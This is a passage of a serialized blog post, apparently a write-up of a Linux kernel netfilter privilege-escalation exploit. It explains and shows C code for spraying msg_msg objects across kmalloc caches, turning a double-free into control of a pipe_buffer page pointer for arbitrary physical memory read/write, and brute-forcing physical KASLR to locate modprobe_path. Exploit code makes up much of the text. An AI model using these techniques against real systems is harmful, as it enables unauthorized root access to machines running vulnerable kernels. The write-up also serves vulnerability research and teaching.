msg_msgseg",{"type":23,"tag":141,"props":56038,"children":56039},{"style":449},[56040],{"type":29,"value":8496},{"type":23,"tag":141,"props":56042,"children":56043},{"style":750},[56044],{"type":29,"value":56045},"next",{"type":23,"tag":141,"props":56047,"children":56048},{"style":154},[56049],{"type":29,"value":1684},{"type":23,"tag":141,"props":56051,"children":56052},{"class":143,"line":262},[56053,56057,56061],{"type":23,"tag":141,"props":56054,"children":56055},{"style":449},[56056],{"type":29,"value":49528},{"type":23,"tag":141,"props":56058,"children":56059},{"style":160},[56060],{"type":29,"value":8496},{"type":23,"tag":141,"props":56062,"children":56063},{"style":154},[56064],{"type":29,"value":56065},"security;\n",{"type":23,"tag":141,"props":56067,"children":56068},{"class":143,"line":271},[56069],{"type":23,"tag":141,"props":56070,"children":56071},{"style":443},[56072],{"type":29,"value":56073}," /* the actual message follows immediately */\n",{"type":23,"tag":141,"props":56075,"children":56076},{"class":143,"line":293},[56077],{"type":23,"tag":141,"props":56078,"children":56079},{"style":154},[56080],{"type":29,"value":1357},{"type":23,"tag":141,"props":56082,"children":56083},{"class":143,"line":801},[56084],{"type":23,"tag":141,"props":56085,"children":56086},{"style":154},[56087],{"type":29,"value":8998},{"type":23,"tag":141,"props":56089,"children":56090},{"class":143,"line":810},[56091],{"type":23,"tag":141,"props":56092,"children":56093},{"style":154},[56094],{"type":29,"value":56095},"struct list_head {\n",{"type":23,"tag":141,"props":56097,"children":56098},{"class":143,"line":824},[56099,56103,56107,56111,56115,56119,56123],{"type":23,"tag":141,"props":56100,"children":56101},{"style":449},[56102],{"type":29,"value":19823},{"type":23,"tag":141,"props":56104,"children":56105},{"style":725},[56106],{"type":29,"value":55984},{"type":23,"tag":141,"props":56108,"children":56109},{"style":449},[56110],{"type":29,"value":8496},{"type":23,"tag":141,"props":56112,"children":56113},{"style":750},[56114],{"type":29,"value":56045},{"type":23,"tag":141,"props":56116,"children":56117},{"style":154},[56118],{"type":29,"value":480},{"type":23,"tag":141,"props":56120,"children":56121},{"style":160},[56122],{"type":29,"value":197},{"type":23,"tag":141,"props":56124,"children":56125},{"style":154},[56126],{"type":29,"value":56127},"prev;\n",{"type":23,"tag":141,"props":56129,"children":56130},{"class":143,"line":839},[56131],{"type":23,"tag":141,"props":56132,"children":56133},{"style":154},[56134],{"type":29,"value":1357},{"type":23,"tag":32,"props":56136,"children":56137},{},[56138,56140,56146,56148,56153],{"type":29,"value":56139},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":38,"props":56141,"children":56143},{"className":56142},[],[56144],{"type":29,"value":56145},"mlist.next",{"type":29,"value":56147}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":38,"props":56149,"children":56151},{"className":56150},[],[56152],{"type":29,"value":55924},{"type":29,"value":56154}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":32,"props":56156,"children":56157},{},[56158,56160,56165,56167],{"type":29,"value":56159},"By incrementing the next pointer of our controllable ",{"type":23,"tag":38,"props":56161,"children":56163},{"className":56162},[],[56164],{"type":29,"value":55924},{"type":29,"value":56166}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":2591,"props":56168,"children":56170},{"alt":49057,"src":56169},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":131,"props":56172,"children":56174},{"className":133,"code":56173,"language":135,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[56175],{"type":23,"tag":38,"props":56176,"children":56177},{"__ignoreMap":7},[56178,56185,56193,56219,56236,56284,56291,56331,56363,56370,56391,56398,56445,56509,56535,56581,56605,56649,56656,56664,56700,56724,56731,56751,56758],{"type":23,"tag":141,"props":56179,"children":56180},{"class":143,"line":144},[56181],{"type":23,"tag":141,"props":56182,"children":56183},{"style":154},[56184],{"type":29,"value":8998},{"type":23,"tag":141,"props":56186,"children":56187},{"class":143,"line":180},[56188],{"type":23,"tag":141,"props":56189,"children":56190},{"style":154},[56191],{"type":29,"value":56192}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":141,"props":56194,"children":56195},{"class":143,"line":205},[56196,56201,56205,56209,56214],{"type":23,"tag":141,"props":56197,"children":56198},{"style":154},[56199],{"type":29,"value":56200}," msg_t *msg = calloc(1, ",{"type":23,"tag":141,"props":56202,"children":56203},{"style":725},[56204],{"type":29,"value":53807},{"type":23,"tag":141,"props":56206,"children":56207},{"style":154},[56208],{"type":29,"value":192},{"type":23,"tag":141,"props":56210,"children":56211},{"style":725},[56212],{"type":29,"value":56213},"msg_t",{"type":23,"tag":141,"props":56215,"children":56216},{"style":154},[56217],{"type":29,"value":56218},") + 0xe8 - 48);\n",{"type":23,"tag":141,"props":56220,"children":56221},{"class":143,"line":218},[56222,56226,56231],{"type":23,"tag":141,"props":56223,"children":56224},{"style":449},[56225],{"type":29,"value":17748},{"type":23,"tag":141,"props":56227,"children":56228},{"style":750},[56229],{"type":29,"value":56230}," qid",{"type":23,"tag":141,"props":56232,"children":56233},{"style":154},[56234],{"type":29,"value":56235},"[SPRAY];\n",{"type":23,"tag":141,"props":56237,"children":56238},{"class":143,"line":227},[56239,56243,56247,56251,56255,56259,56263,56267,56271,56276,56280],{"type":23,"tag":141,"props":56240,"children":56241},{"style":148},[56242],{"type":29,"value":1692},{"type":23,"tag":141,"props":56244,"children":56245},{"style":154},[56246],{"type":29,"value":1220},{"type":23,"tag":141,"props":56248,"children":56249},{"style":449},[56250],{"type":29,"value":17718},{"type":23,"tag":141,"props":56252,"children":56253},{"style":154},[56254],{"type":29,"value":53023},{"type":23,"tag":141,"props":56256,"children":56257},{"style":160},[56258],{"type":29,"value":1377},{"type":23,"tag":141,"props":56260,"children":56261},{"style":472},[56262],{"type":29,"value":1707},{"type":23,"tag":141,"props":56264,"children":56265},{"style":154},[56266],{"type":29,"value":49712},{"type":23,"tag":141,"props":56268,"children":56269},{"style":160},[56270],{"type":29,"value":4480},{"type":23,"tag":141,"props":56272,"children":56273},{"style":154},[56274],{"type":29,"value":56275}," SPRAY; i",{"type":23,"tag":141,"props":56277,"children":56278},{"style":160},[56279],{"type":29,"value":49748},{"type":23,"tag":141,"props":56281,"children":56282},{"style":154},[56283],{"type":29,"value":758},{"type":23,"tag":141,"props":56285,"children":56286},{"class":143,"line":241},[56287],{"type":23,"tag":141,"props":56288,"children":56289},{"style":154},[56290],{"type":29,"value":224},{"type":23,"tag":141,"props":56292,"children":56293},{"class":143,"line":262},[56294,56299,56303,56307,56312,56317,56322,56326],{"type":23,"tag":141,"props":56295,"children":56296},{"style":750},[56297],{"type":29,"value":56298}," qid",{"type":23,"tag":141,"props":56300,"children":56301},{"style":154},[56302],{"type":29,"value":53075},{"type":23,"tag":141,"props":56304,"children":56305},{"style":160},[56306],{"type":29,"value":1377},{"type":23,"tag":141,"props":56308,"children":56309},{"style":184},[56310],{"type":29,"value":56311}," msgget",{"type":23,"tag":141,"props":56313,"children":56314},{"style":154},[56315],{"type":29,"value":56316},"(IPC_PRIVATE, ",{"type":23,"tag":141,"props":56318,"children":56319},{"style":472},[56320],{"type":29,"value":56321},"0666",{"type":23,"tag":141,"props":56323,"children":56324},{"style":160},[56325],{"type":29,"value":2946},{"type":23,"tag":141,"props":56327,"children":56328},{"style":154},[56329],{"type":29,"value":56330}," IPC_CREAT);\n",{"type":23,"tag":141,"props":56332,"children":56333},{"class":143,"line":271},[56334,56338,56342,56347,56351,56355,56359],{"type":23,"tag":141,"props":56335,"children":56336},{"style":148},[56337],{"type":29,"value":233},{"type":23,"tag":141,"props":56339,"children":56340},{"style":154},[56341],{"type":29,"value":1220},{"type":23,"tag":141,"props":56343,"children":56344},{"style":750},[56345],{"type":29,"value":56346},"qid",{"type":23,"tag":141,"props":56348,"children":56349},{"style":154},[56350],{"type":29,"value":53075},{"type":23,"tag":141,"props":56352,"children":56353},{"style":160},[56354],{"type":29,"value":4480},{"type":23,"tag":141,"props":56356,"children":56357},{"style":472},[56358],{"type":29,"value":1707},{"type":23,"tag":141,"props":56360,"children":56361},{"style":154},[56362],{"type":29,"value":758},{"type":23,"tag":141,"props":56364,"children":56365},{"class":143,"line":293},[56366],{"type":23,"tag":141,"props":56367,"children":56368},{"style":154},[56369],{"type":29,"value":30127},{"type":23,"tag":141,"props":56371,"children":56372},{"class":143,"line":801},[56373,56378,56382,56387],{"type":23,"tag":141,"props":56374,"children":56375},{"style":184},[56376],{"type":29,"value":56377}," perror",{"type":23,"tag":141,"props":56379,"children":56380},{"style":154},[56381],{"type":29,"value":192},{"type":23,"tag":141,"props":56383,"children":56384},{"style":828},[56385],{"type":29,"value":56386},"\"[-] msgget\"",{"type":23,"tag":141,"props":56388,"children":56389},{"style":154},[56390],{"type":29,"value":2496},{"type":23,"tag":141,"props":56392,"children":56393},{"class":143,"line":810},[56394],{"type":23,"tag":141,"props":56395,"children":56396},{"style":154},[56397],{"type":29,"value":2008},{"type":23,"tag":141,"props":56399,"children":56400},{"class":143,"line":824},[56401,56405,56409,56414,56418,56422,56427,56431,56436,56440],{"type":23,"tag":141,"props":56402,"children":56403},{"style":160},[56404],{"type":29,"value":6426},{"type":23,"tag":141,"props":56406,"children":56407},{"style":154},[56408],{"type":29,"value":192},{"type":23,"tag":141,"props":56410,"children":56411},{"style":449},[56412],{"type":29,"value":56413},"uint32_t",{"type":23,"tag":141,"props":56415,"children":56416},{"style":160},[56417],{"type":29,"value":8496},{"type":23,"tag":141,"props":56419,"children":56420},{"style":154},[56421],{"type":29,"value":1788},{"type":23,"tag":141,"props":56423,"children":56424},{"style":750},[56425],{"type":29,"value":56426},"msg",{"type":23,"tag":141,"props":56428,"children":56429},{"style":154},[56430],{"type":29,"value":12435},{"type":23,"tag":141,"props":56432,"children":56433},{"style":750},[56434],{"type":29,"value":56435},"mtext",{"type":23,"tag":141,"props":56437,"children":56438},{"style":160},[56439],{"type":29,"value":1674},{"type":23,"tag":141,"props":56441,"children":56442},{"style":154},[56443],{"type":29,"value":56444}," i;\n",{"type":23,"tag":141,"props":56446,"children":56447},{"class":143,"line":839},[56448,56452,56456,56460,56464,56468,56472,56476,56480,56484,56488,56492,56496,56500,56505],{"type":23,"tag":141,"props":56449,"children":56450},{"style":160},[56451],{"type":29,"value":6426},{"type":23,"tag":141,"props":56453,"children":56454},{"style":154},[56455],{"type":29,"value":192},{"type":23,"tag":141,"props":56457,"children":56458},{"style":449},[56459],{"type":29,"value":54114},{"type":23,"tag":141,"props":56461,"children":56462},{"style":160},[56463],{"type":29,"value":8496},{"type":23,"tag":141,"props":56465,"children":56466},{"style":154},[56467],{"type":29,"value":1788},{"type":23,"tag":141,"props":56469,"children":56470},{"style":160},[56471],{"type":29,"value":1770},{"type":23,"tag":141,"props":56473,"children":56474},{"style":750},[56475],{"type":29,"value":56426},{"type":23,"tag":141,"props":56477,"children":56478},{"style":154},[56479],{"type":29,"value":12435},{"type":23,"tag":141,"props":56481,"children":56482},{"style":750},[56483],{"type":29,"value":56435},{"type":23,"tag":141,"props":56485,"children":56486},{"style":154},[56487],{"type":29,"value":2399},{"type":23,"tag":141,"props":56489,"children":56490},{"style":472},[56491],{"type":29,"value":2752},{"type":23,"tag":141,"props":56493,"children":56494},{"style":154},[56495],{"type":29,"value":7337},{"type":23,"tag":141,"props":56497,"children":56498},{"style":160},[56499],{"type":29,"value":1377},{"type":23,"tag":141,"props":56501,"children":56502},{"style":472},[56503],{"type":29,"value":56504}," 0xdeadbeefcafebabe",{"type":23,"tag":141,"props":56506,"children":56507},{"style":154},[56508],{"type":29,"value":1684},{"type":23,"tag":141,"props":56510,"children":56511},{"class":143,"line":848},[56512,56517,56521,56526,56530],{"type":23,"tag":141,"props":56513,"children":56514},{"style":750},[56515],{"type":29,"value":56516}," msg",{"type":23,"tag":141,"props":56518,"children":56519},{"style":154},[56520],{"type":29,"value":12435},{"type":23,"tag":141,"props":56522,"children":56523},{"style":750},[56524],{"type":29,"value":56525},"mtype",{"type":23,"tag":141,"props":56527,"children":56528},{"style":160},[56529],{"type":29,"value":1674},{"type":23,"tag":141,"props":56531,"children":56532},{"style":154},[56533],{"type":29,"value":56534}," MTYPE_PRIMARY;\n",{"type":23,"tag":141,"props":56536,"children":56537},{"class":143,"line":2304},[56538,56543,56547,56551,56556,56560,56564,56569,56573,56577],{"type":23,"tag":141,"props":56539,"children":56540},{"style":184},[56541],{"type":29,"value":56542}," msgsnd",{"type":23,"tag":141,"props":56544,"children":56545},{"style":154},[56546],{"type":29,"value":192},{"type":23,"tag":141,"props":56548,"children":56549},{"style":750},[56550],{"type":29,"value":56346},{"type":23,"tag":141,"props":56552,"children":56553},{"style":154},[56554],{"type":29,"value":56555},"[i], msg, ",{"type":23,"tag":141,"props":56557,"children":56558},{"style":472},[56559],{"type":29,"value":54451},{"type":23,"tag":141,"props":56561,"children":56562},{"style":160},[56563],{"type":29,"value":49734},{"type":23,"tag":141,"props":56565,"children":56566},{"style":472},[56567],{"type":29,"value":56568}," 48",{"type":23,"tag":141,"props":56570,"children":56571},{"style":154},[56572],{"type":29,"value":480},{"type":23,"tag":141,"props":56574,"children":56575},{"style":472},[56576],{"type":29,"value":2698},{"type":23,"tag":141,"props":56578,"children":56579},{"style":154},[56580],{"type":29,"value":2496},{"type":23,"tag":141,"props":56582,"children":56583},{"class":143,"line":2313},[56584,56588,56592,56596,56600],{"type":23,"tag":141,"props":56585,"children":56586},{"style":750},[56587],{"type":29,"value":56516},{"type":23,"tag":141,"props":56589,"children":56590},{"style":154},[56591],{"type":29,"value":12435},{"type":23,"tag":141,"props":56593,"children":56594},{"style":750},[56595],{"type":29,"value":56525},{"type":23,"tag":141,"props":56597,"children":56598},{"style":160},[56599],{"type":29,"value":1674},{"type":23,"tag":141,"props":56601,"children":56602},{"style":154},[56603],{"type":29,"value":56604}," MTYPE_SECONDARY;\n",{"type":23,"tag":141,"props":56606,"children":56607},{"class":143,"line":2335},[56608,56612,56616,56620,56624,56629,56633,56637,56641,56645],{"type":23,"tag":141,"props":56609,"children":56610},{"style":184},[56611],{"type":29,"value":56542},{"type":23,"tag":141,"props":56613,"children":56614},{"style":154},[56615],{"type":29,"value":192},{"type":23,"tag":141,"props":56617,"children":56618},{"style":750},[56619],{"type":29,"value":56346},{"type":23,"tag":141,"props":56621,"children":56622},{"style":154},[56623],{"type":29,"value":56555},{"type":23,"tag":141,"props":56625,"children":56626},{"style":472},[56627],{"type":29,"value":56628},"1024",{"type":23,"tag":141,"props":56630,"children":56631},{"style":160},[56632],{"type":29,"value":49734},{"type":23,"tag":141,"props":56634,"children":56635},{"style":472},[56636],{"type":29,"value":56568},{"type":23,"tag":141,"props":56638,"children":56639},{"style":154},[56640],{"type":29,"value":480},{"type":23,"tag":141,"props":56642,"children":56643},{"style":472},[56644],{"type":29,"value":2698},{"type":23,"tag":141,"props":56646,"children":56647},{"style":154},[56648],{"type":29,"value":2496},{"type":23,"tag":141,"props":56650,"children":56651},{"class":143,"line":2343},[56652],{"type":23,"tag":141,"props":56653,"children":56654},{"style":154},[56655],{"type":29,"value":299},{"type":23,"tag":141,"props":56657,"children":56658},{"class":143,"line":2352},[56659],{"type":23,"tag":141,"props":56660,"children":56661},{"style":443},[56662],{"type":29,"value":56663}," // Prepare evil msg\n",{"type":23,"tag":141,"props":56665,"children":56666},{"class":143,"line":2421},[56667,56671,56676,56680,56684,56688,56692,56696],{"type":23,"tag":141,"props":56668,"children":56669},{"style":449},[56670],{"type":29,"value":17748},{"type":23,"tag":141,"props":56672,"children":56673},{"style":154},[56674],{"type":29,"value":56675}," evilqid ",{"type":23,"tag":141,"props":56677,"children":56678},{"style":160},[56679],{"type":29,"value":1377},{"type":23,"tag":141,"props":56681,"children":56682},{"style":184},[56683],{"type":29,"value":56311},{"type":23,"tag":141,"props":56685,"children":56686},{"style":154},[56687],{"type":29,"value":56316},{"type":23,"tag":141,"props":56689,"children":56690},{"style":472},[56691],{"type":29,"value":56321},{"type":23,"tag":141,"props":56693,"children":56694},{"style":160},[56695],{"type":29,"value":2946},{"type":23,"tag":141,"props":56697,"children":56698},{"style":154},[56699],{"type":29,"value":56330},{"type":23,"tag":141,"props":56701,"children":56702},{"class":143,"line":2429},[56703,56707,56712,56716,56720],{"type":23,"tag":141,"props":56704,"children":56705},{"style":148},[56706],{"type":29,"value":151},{"type":23,"tag":141,"props":56708,"children":56709},{"style":154},[56710],{"type":29,"value":56711}," (evilqid ",{"type":23,"tag":141,"props":56713,"children":56714},{"style":160},[56715],{"type":29,"value":4480},{"type":23,"tag":141,"props":56717,"children":56718},{"style":472},[56719],{"type":29,"value":1707},{"type":23,"tag":141,"props":56721,"children":56722},{"style":154},[56723],{"type":29,"value":758},{"type":23,"tag":141,"props":56725,"children":56726},{"class":143,"line":2459},[56727],{"type":23,"tag":141,"props":56728,"children":56729},{"style":154},[56730],{"type":29,"value":224},{"type":23,"tag":141,"props":56732,"children":56733},{"class":143,"line":2467},[56734,56739,56743,56747],{"type":23,"tag":141,"props":56735,"children":56736},{"style":184},[56737],{"type":29,"value":56738}," perror",{"type":23,"tag":141,"props":56740,"children":56741},{"style":154},[56742],{"type":29,"value":192},{"type":23,"tag":141,"props":56744,"children":56745},{"style":828},[56746],{"type":29,"value":56386},{"type":23,"tag":141,"props":56748,"children":56749},{"style":154},[56750],{"type":29,"value":2496},{"type":23,"tag":141,"props":56752,"children":56753},{"class":143,"line":2499},[56754],{"type":23,"tag":141,"props":56755,"children":56756},{"style":154},[56757],{"type":29,"value":299},{"type":23,"tag":141,"props":56759,"children":56760},{"class":143,"line":2507},[56761],{"type":23,"tag":141,"props":56762,"children":56763},{"style":154},[56764],{"type":29,"value":56765},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":8287,"props":56767,"children":56769},{"id":56768},"using-pipe_buffer-page-pointer-for-physical-readwrite",[56770],{"type":29,"value":56771},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":32,"props":56773,"children":56774},{},[56775,56777,56783,56784,56790,56791,56797,56799,56805],{"type":29,"value":56776},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":38,"props":56778,"children":56780},{"className":56779},[],[56781],{"type":29,"value":56782},"kmalloc-1k",{"type":29,"value":313},{"type":23,"tag":38,"props":56785,"children":56787},{"className":56786},[],[56788],{"type":29,"value":56789},"overlap pipe_buffer",{"type":29,"value":20176},{"type":23,"tag":38,"props":56792,"children":56794},{"className":56793},[],[56795],{"type":29,"value":56796},"skbuf",{"type":29,"value":56798}," data to control the ",{"type":23,"tag":38,"props":56800,"children":56802},{"className":56801},[],[56803],{"type":29,"value":56804},"page",{"type":29,"value":56806}," field.",{"type":23,"tag":32,"props":56808,"children":56809},{},[56810,56811,56816,56818,56824,56826],{"type":29,"value":388},{"type":23,"tag":38,"props":56812,"children":56814},{"className":56813},[],[56815],{"type":29,"value":56804},{"type":29,"value":56817}," field is a pointer into ",{"type":23,"tag":38,"props":56819,"children":56821},{"className":56820},[],[56822],{"type":29,"value":56823},"vmemmap_base",{"type":29,"value":56825},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":2591,"props":56827,"children":56829},{"alt":49057,"src":56828},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":32,"props":56831,"children":56832},{},[56833,56835,56840],{"type":29,"value":56834},"This now allows us to navigate the ",{"type":23,"tag":38,"props":56836,"children":56838},{"className":56837},[],[56839],{"type":29,"value":56823},{"type":29,"value":56841}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":8287,"props":56843,"children":56845},{"id":56844},"bruteforce-physical-kernel-base",[56846],{"type":29,"value":56847},"Bruteforce physical kernel base",{"type":23,"tag":32,"props":56849,"children":56850},{},[56851,56853,56859,56861,56866,56868,56874],{"type":29,"value":56852},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":38,"props":56854,"children":56856},{"className":56855},[],[56857],{"type":29,"value":56858},"modprobe_path",{"type":29,"value":56860},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":38,"props":56862,"children":56864},{"className":56863},[],[56865],{"type":29,"value":56823},{"type":29,"value":56867}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":38,"props":56869,"children":56871},{"className":56870},[],[56872],{"type":29,"value":56873},"PHYSICAL_ALIGN",{"type":29,"value":56875}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":131,"props":56877,"children":56879},{"className":133,"code":56878,"language":135,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[56880],{"type":23,"tag":38,"props":56881,"children":56882},{"__ignoreMap":7},[56883,56890,56898,56906,56930,56963,56983,57023,57030,57074,57108,57135,57171,57178,57224,57231,57261,57274,57339,57346,57358,57366,57373,57380,57406,57413,57433,57445,57452,57459,57466],{"type":23,"tag":141,"props":56884,"children":56885},{"class":143,"line":144},[56886],{"type":23,"tag":141,"props":56887,"children":56888},{"style":154},[56889],{"type":29,"value":8998},{"type":23,"tag":141,"props":56891,"children":56892},{"class":143,"line":180},[56893],{"type":23,"tag":141,"props":56894,"children":56895},{"style":154},[56896],{"type":29,"value":56897},"// Bruteforce phys-KASLR\n",{"type":23,"tag":141,"props":56899,"children":56900},{"class":143,"line":205},[56901],{"type":23,"tag":141,"props":56902,"children":56903},{"style":154},[56904],{"type":29,"value":56905}," uint64_t kernel_base;\n",{"type":23,"tag":141,"props":56907,"children":56908},{"class":143,"line":218},[56909,56913,56918,56922,56926],{"type":23,"tag":141,"props":56910,"children":56911},{"style":449},[56912],{"type":29,"value":44950},{"type":23,"tag":141,"props":56914,"children":56915},{"style":154},[56916],{"type":29,"value":56917}," found ",{"type":23,"tag":141,"props":56919,"children":56920},{"style":160},[56921],{"type":29,"value":1377},{"type":23,"tag":141,"props":56923,"children":56924},{"style":449},[56925],{"type":29,"value":7735},{"type":23,"tag":141,"props":56927,"children":56928},{"style":154},[56929],{"type":29,"value":1684},{"type":23,"tag":141,"props":56931,"children":56932},{"class":143,"line":227},[56933,56938,56942,56947,56951,56955,56959],{"type":23,"tag":141,"props":56934,"children":56935},{"style":449},[56936],{"type":29,"value":56937}," uint8_t",{"type":23,"tag":141,"props":56939,"children":56940},{"style":750},[56941],{"type":29,"value":13781},{"type":23,"tag":141,"props":56943,"children":56944},{"style":154},[56945],{"type":29,"value":56946},"[PAGE_SIZE] ",{"type":23,"tag":141,"props":56948,"children":56949},{"style":160},[56950],{"type":29,"value":1377},{"type":23,"tag":141,"props":56952,"children":56953},{"style":154},[56954],{"type":29,"value":43694},{"type":23,"tag":141,"props":56956,"children":56957},{"style":472},[56958],{"type":29,"value":2698},{"type":23,"tag":141,"props":56960,"children":56961},{"style":154},[56962],{"type":29,"value":1357},{"type":23,"tag":141,"props":56964,"children":56965},{"class":143,"line":241},[56966,56970,56974,56979],{"type":23,"tag":141,"props":56967,"children":56968},{"style":184},[56969],{"type":29,"value":53986},{"type":23,"tag":141,"props":56971,"children":56972},{"style":154},[56973],{"type":29,"value":192},{"type":23,"tag":141,"props":56975,"children":56976},{"style":828},[56977],{"type":29,"value":56978},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":141,"props":56980,"children":56981},{"style":154},[56982],{"type":29,"value":2496},{"type":23,"tag":141,"props":56984,"children":56985},{"class":143,"line":262},[56986,56990,56994,56998,57002,57006,57010,57015,57019],{"type":23,"tag":141,"props":56987,"children":56988},{"style":148},[56989],{"type":29,"value":1692},{"type":23,"tag":141,"props":56991,"children":56992},{"style":154},[56993],{"type":29,"value":1220},{"type":23,"tag":141,"props":56995,"children":56996},{"style":449},[56997],{"type":29,"value":54114},{"type":23,"tag":141,"props":56999,"children":57000},{"style":154},[57001],{"type":29,"value":53023},{"type":23,"tag":141,"props":57003,"children":57004},{"style":160},[57005],{"type":29,"value":1377},{"type":23,"tag":141,"props":57007,"children":57008},{"style":472},[57009],{"type":29,"value":1707},{"type":23,"tag":141,"props":57011,"children":57012},{"style":154},[57013],{"type":29,"value":57014},";; i",{"type":23,"tag":141,"props":57016,"children":57017},{"style":160},[57018],{"type":29,"value":49748},{"type":23,"tag":141,"props":57020,"children":57021},{"style":154},[57022],{"type":29,"value":758},{"type":23,"tag":141,"props":57024,"children":57025},{"class":143,"line":271},[57026],{"type":23,"tag":141,"props":57027,"children":57028},{"style":154},[57029],{"type":29,"value":224},{"type":23,"tag":141,"props":57031,"children":57032},{"class":143,"line":293},[57033,57038,57042,57047,57051,57056,57060,57065,57069],{"type":23,"tag":141,"props":57034,"children":57035},{"style":154},[57036],{"type":29,"value":57037}," kernel_base ",{"type":23,"tag":141,"props":57039,"children":57040},{"style":160},[57041],{"type":29,"value":1377},{"type":23,"tag":141,"props":57043,"children":57044},{"style":472},[57045],{"type":29,"value":57046}," 0x40",{"type":23,"tag":141,"props":57048,"children":57049},{"style":160},[57050],{"type":29,"value":8496},{"type":23,"tag":141,"props":57052,"children":57053},{"style":154},[57054],{"type":29,"value":57055}," ((PHYSICAL_ALIGN ",{"type":23,"tag":141,"props":57057,"children":57058},{"style":160},[57059],{"type":29,"value":197},{"type":23,"tag":141,"props":57061,"children":57062},{"style":154},[57063],{"type":29,"value":57064}," i) ",{"type":23,"tag":141,"props":57066,"children":57067},{"style":160},[57068],{"type":29,"value":11440},{"type":23,"tag":141,"props":57070,"children":57071},{"style":154},[57072],{"type":29,"value":57073}," PAGE_SHIFT);\n",{"type":23,"tag":141,"props":57075,"children":57076},{"class":143,"line":801},[57077,57082,57086,57090,57094,57099,57103],{"type":23,"tag":141,"props":57078,"children":57079},{"style":750},[57080],{"type":29,"value":57081}," pipebuf",{"type":23,"tag":141,"props":57083,"children":57084},{"style":154},[57085],{"type":29,"value":12435},{"type":23,"tag":141,"props":57087,"children":57088},{"style":750},[57089],{"type":29,"value":56804},{"type":23,"tag":141,"props":57091,"children":57092},{"style":160},[57093],{"type":29,"value":1674},{"type":23,"tag":141,"props":57095,"children":57096},{"style":154},[57097],{"type":29,"value":57098}," vmemmap_base ",{"type":23,"tag":141,"props":57100,"children":57101},{"style":160},[57102],{"type":29,"value":3058},{"type":23,"tag":141,"props":57104,"children":57105},{"style":154},[57106],{"type":29,"value":57107}," kernel_base;\n",{"type":23,"tag":141,"props":57109,"children":57110},{"class":143,"line":810},[57111,57115,57119,57123,57127,57131],{"type":23,"tag":141,"props":57112,"children":57113},{"style":750},[57114],{"type":29,"value":57081},{"type":23,"tag":141,"props":57116,"children":57117},{"style":154},[57118],{"type":29,"value":12435},{"type":23,"tag":141,"props":57120,"children":57121},{"style":750},[57122],{"type":29,"value":12579},{"type":23,"tag":141,"props":57124,"children":57125},{"style":160},[57126],{"type":29,"value":1674},{"type":23,"tag":141,"props":57128,"children":57129},{"style":472},[57130],{"type":29,"value":1707},{"type":23,"tag":141,"props":57132,"children":57133},{"style":154},[57134],{"type":29,"value":1684},{"type":23,"tag":141,"props":57136,"children":57137},{"class":143,"line":824},[57138,57142,57146,57150,57154,57159,57163,57167],{"type":23,"tag":141,"props":57139,"children":57140},{"style":750},[57141],{"type":29,"value":57081},{"type":23,"tag":141,"props":57143,"children":57144},{"style":154},[57145],{"type":29,"value":12435},{"type":23,"tag":141,"props":57147,"children":57148},{"style":750},[57149],{"type":29,"value":7817},{"type":23,"tag":141,"props":57151,"children":57152},{"style":160},[57153],{"type":29,"value":1674},{"type":23,"tag":141,"props":57155,"children":57156},{"style":154},[57157],{"type":29,"value":57158}," PAGE_SIZE 